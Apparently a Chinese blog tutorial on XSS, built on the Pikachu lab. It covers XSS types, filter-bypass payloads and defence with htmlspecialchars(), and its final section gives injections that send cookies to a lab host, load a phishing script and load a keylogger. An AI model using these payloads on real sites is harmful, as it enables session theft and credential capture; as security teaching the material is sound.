一文掌握XSS
XSS跨站脚本攻击
1、什么叫跨站脚本攻击?
即:给一个目标插入脚本攻击代码,当浏览的人访问这个网站,那么浏览的人就中招了
2、XSS跨站脚本攻击的原理
原理:XSS(Cross Site Scripting)是指攻击者在网页中嵌入客户端脚本攻击代码,通常是JavaScript编写的危险代码,用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
3、XSS跨站脚本攻击的目的是什么?
最终目的是在网页中嵌入客户端恶意脚本代码让浏览者访问,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于Javascript,所以如果想要深入研究XSS,必须要精通Javascript。
而对于渗透测试人员来说只需要弹个窗就好,证明有XSS漏洞
4、XSS跨站脚本攻击出现的原因
程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。代码示例:
<?php
$name = $_GET['name']; # 没有任何过滤,解析的话就会造成xss
echo "Welcome $name<br>"; # 如果没有echo那就没法解析上面的代码,也就不存在xss
?>
5、XSS跨站脚本攻击的条件
1、有输入有输出且输入地方没有过滤
2、有输入有输出(没有输出即没有解析也不行))
6、XSS跨站脚本攻击分类
反射型:
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。(一般来说,前端页面会限制字符串长度,修改下maxlength就好)
储存型XSS:
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
DOM XSS:
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞(危害很小,很难利用,但是也是一类)
7、如何查找XSS跨站脚本攻击漏洞
手工
对于XSS来说,只要有输入且有对脚本输出解析的地方(登录注册修改更新留言等等),都可以尝试XSS——>
http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>
HTML标签、URL栏、Style地、Script地、referer头、cookies、post参数、页面带参数的地方等等
(跟注入相似,找到带参数的地方,直接上脚本代码)
工具
全自动扫描工具:APPscan、AWVS、Burpsuite 等
半自动化工具:Burpsuite、firefox(hackbar)、XSSER XSSF等
实验,注:(利用扫描器扫出来的尝试的xss代码,中间插入弹窗,放到实际环境中测试)
8、什么是跨域
http:// www. oldboyedu.com :80 / news/index.php
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
9、同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
即:限制了跨域加载脚本
那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
10、修改同源策略
后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问
也就是说,如果我们构造的url中使用到了.js脚本,同源策略是必须开启的,就像下面所介绍的键盘记录一样。例子:
<script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
11、XSS盲打
XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。
11'"><script>alert(63252)</script>
12、XSS绕过简单方法
大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。
xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
原型:'"><script>alert(63252)</script>
(1)
对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
(2)
防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
例:
<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
(3)
防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:
<scr<script>ipt>alert('你打篮球像oldboy')</scr<script>ipt>
(4)
使用注释来干扰后台对输入内容的识别。
例:
<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
(5)
编码
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
使用HTML进行编码:
<img src=x onerror="alert('yangshuang')"/>
(6)
例:使用事件属性
(例如:系统用了正则匹配,导致大小写和双写绕过失效,但是可以使用事件驱动,原理就是让靶机因为无法出现一个不存在的图片而出发错误,出现弹窗。)
onerror(): <img src=# onerror="alert('oldboy')"/>
13、XSS绕过之htmlspecialchars()函数
htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将"单引号"和"双引号"过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
(类似于sql参数化查询,将变量变为了常量)
可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
可使用以下语句绕过: q' onclick='alert(111)'
15、xss之href输出绕过
javascript:alert(1111) 直接代入a标签herf里面一样可以绕过htmlspecialchars
16、xss之js输出绕过
原理代码:
<script>
$ms='11'</script><script>alert(1111)</script> ;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
------------------
2'</script><script>alert(1111)</script> 这段代码应该写入$ms中
------------------
17、XSS常规防范
XSS防御的总体思路是:
对输入进行过滤,对输出进行编码
谈一谈过滤和转义:
过滤:根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()
代码举例:
不可能难度
源代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
系统使用了htmlspecialchars把我们XSS要用到的一些预定义字符转化为HTML实体,导致无法再进行反射型XSS攻击。
预定义字符包括:"、'、<、>、&
18、常用工具
包括kali的xsser、beef、各种扫描器
实战
1、xss获取cookie
111'"><script>document.location = 'http://192.168.18.61:99/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
前端限制绕过:
填入上面的xss代码:
得到返回的结果。
2、反射型XSS(POST)获取用户cookies
不好利用
在用户登录的情况下:
使用户点击我们的含xss代码的页面:post.html,然后就能获取到登录状态下用户的cookies
3、xss钓鱼演示
222'"><script src="http://192.168.18.61:99/pikachu/pkxss/xfish/fish.php"></script>
利用这段代码,让受害者输入用户名密码,我们后台就能接收到
4、xss获取键盘记录演示(涉及到跨域)
条件:需要不受同源策略影响,到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问,不受同源策略限制。
rk.js关键代码解读:
var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串
xl+=realkey; //赋值给x1
show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容``
输入设置好的恶意JS代码:
xxx'"><script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果
一文掌握XSS的更多相关文章
- XSS相关有效载荷及绕道的备忘录(下)| 文末有打包好的负载
前言: 今天发布的是下半部分 进入正题 过滤的绕过和一些奇异的有效载荷 大小写绕过 <sCrIpt>alert(1)</ScRipt> 绕过标签黑名单 <script x ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
- 一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
目录 XSS 攻击 SQL 注入 CSRF 攻击 DDOS 攻击 DNS 劫持 XSS 攻击 全称跨站脚本攻击 Cross Site Scripting 为了与重叠样式表 CSS 进行区分,所以换了另 ...
- 【XSS】延长 XSS 生命期
XSS 的本质仍是一段脚本.和其他文档元素一样,页面关了一切都销毁.除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力. 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能, ...
- XSS分析及预防
XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...
- XSS 前端防火墙 —— 整装待发
到目前为止,我们把能用前端脚本防御 XSS 的方案都列举了一遍. 尽管看起来似乎很复杂累赘,不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程 ...
- 【前端安全】JavaScript防http劫持与XSS
作为前端,一直以来都知道HTTP劫持与XSS跨站脚本(Cross-site scripting).CSRF跨站请求伪造(Cross-site request forgery).但是一直都没有深入研究过 ...
- SpingMVC 核心技术帮助文档
声明:本篇文档主要是用于参考帮助文档,没有实例,但几乎包含了SpringMVC 4.2版本的所有核心技术,当前最新版本是4.3,4.2的版本已经经是很新的了,所以非常值得大家一读,对于读完这篇文档感觉 ...
- XSS(跨站脚本攻击)的最全总结
从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...
随机推荐
- Zuul 超时设置
问题描述 使用 Zuul 作为网关,偶发超时问题及第一次调用触发熔断问题 解决方案 超时问题 ribbon: ReadTimeout: 10000 SocketTimeout: 60000 第一次调用 ...
- c++11-17 模板核心知识(十三)—— 名称查找与ADL
名称分类 名称查找 ordinary lookup ADL (Argument-Dependent Lookup) 官网的例子 ADL的缺点 在C++中,如果编译器遇到一个名称,它会寻找这个名称代表什 ...
- 大数据开发-Hive-常用日期函数&&日期连续题sql套路
前面是常用日期函数总结,后面是一道连续日期的sql题目及其解法套路. 1.当前日期和时间 select current_timestamp -- 2020-12-05 19:16:29.284 2.获 ...
- mysql-installer-web-community和mysql-installer-communityl两个版本的区别
mysql的官网上提供了两个mysql共享版本的安装,一个20M,一个373.4M.二者的区别是前者是联网安装,当安装时必须能访问互联网,后者是离线安装使用的,一般建议下载离线安装使用的版本. 学Py ...
- jarvisoj babyphp
jarvisoj babyphp 涉及知识点: (1)GitHack处理.git源码泄露 (2)php代码注入 解析: 进入题目界面. 看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露 ...
- tcp socket学习
更新一波学的socket编程,socket还是比较重要的,探测端口,连接服务底层都是socket编程.tcp有server 和 client.client和udp发送差不多. server端是建立了两 ...
- 百度前端技术学院-基础-day3
2020.9.15 第三天的课程内容,复习了一些CSS的基础属性(果然不用就会忘). 学习了一些新的属性,比如text-shadow.text-indent(还不是很清楚).font-style等等. ...
- 题解-[SDOI2016]征途
[SDOI2016]征途 [SDOI2016]征途 给定长度为 \(n\) 的序列 \(a\{n\}\),将其分为连续 \(m\) 段,和分别为 \(v\{m\}\).\(v\{m\}\) 的方差为 ...
- sql server添加单独新用户
- Angular:组件之间的通信@Input、@Output和ViewChild
①父组件给子组件传值 1.父组件: ts: export class HomeComponent implements OnInit { public hxTitle = '我是首页的头部'; con ...